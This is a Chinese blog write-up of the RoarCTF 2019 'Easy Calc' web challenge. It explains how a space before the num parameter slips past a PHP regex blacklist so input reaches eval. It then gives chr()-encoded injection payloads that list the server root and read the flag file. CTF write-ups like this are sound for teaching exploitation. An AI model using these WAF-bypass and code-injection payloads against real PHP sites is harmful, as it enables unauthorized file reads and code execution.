zoukankan      html  css  js  c++  java
  • [RoarCTF 2019]Easy Calc

    [RoarCTF 2019]Easy Calc

    题目

    题目打开是这样的
    查看源码


    .ajax是指通过http请求加载远程数据。
    可以发现有一个calc.php,输入的算式会被传入到这个php文件里,尝试一下能不能打开

    可以打开,并且显示了源码

    foreach 语法结构提供了遍历数组的简单方式。
    语法:

    foreach (array_expression as $value)
        statement
    foreach (array_expression as $key => $value)
        statement
    

    在这道题里,会对黑名单中的每一个值都拿出来连接成正则表达式的字符串,/m表示多行查找
    其他几个参数:

    /i (忽略大小写)
    /g (全文查找出现的所有匹配字符)
    /m (多行查找)
    /gi(全文查找、忽略大小写)
    /ig(全文查找、忽略大小写)
    

    假如绕过的话,我们就可以用eval执行任意php语句

    重点

    了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
    而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了
    ? num=1;var_dump(scandir(chr(47)))
    scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交

    可以看到一个f1agg,打开这个文件就好

    ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

  • 相关阅读:
    h5学习
    python 基础(十五) socket编程
    python 基础(十四) 正则表达式
    python 基础(十三) time模块
    python 基础(十二) 图片简单处理
    python 基础(十一) pickle 序列化
    python 基础(十) 面向对象
    python 基础(九) 文件操作
    python 基础(八) os模块
    python 基础(七) 异常处理
  • 原文地址:https://www.cnblogs.com/yunqian2017/p/13306348.html
Copyright © 2011-2022 走看看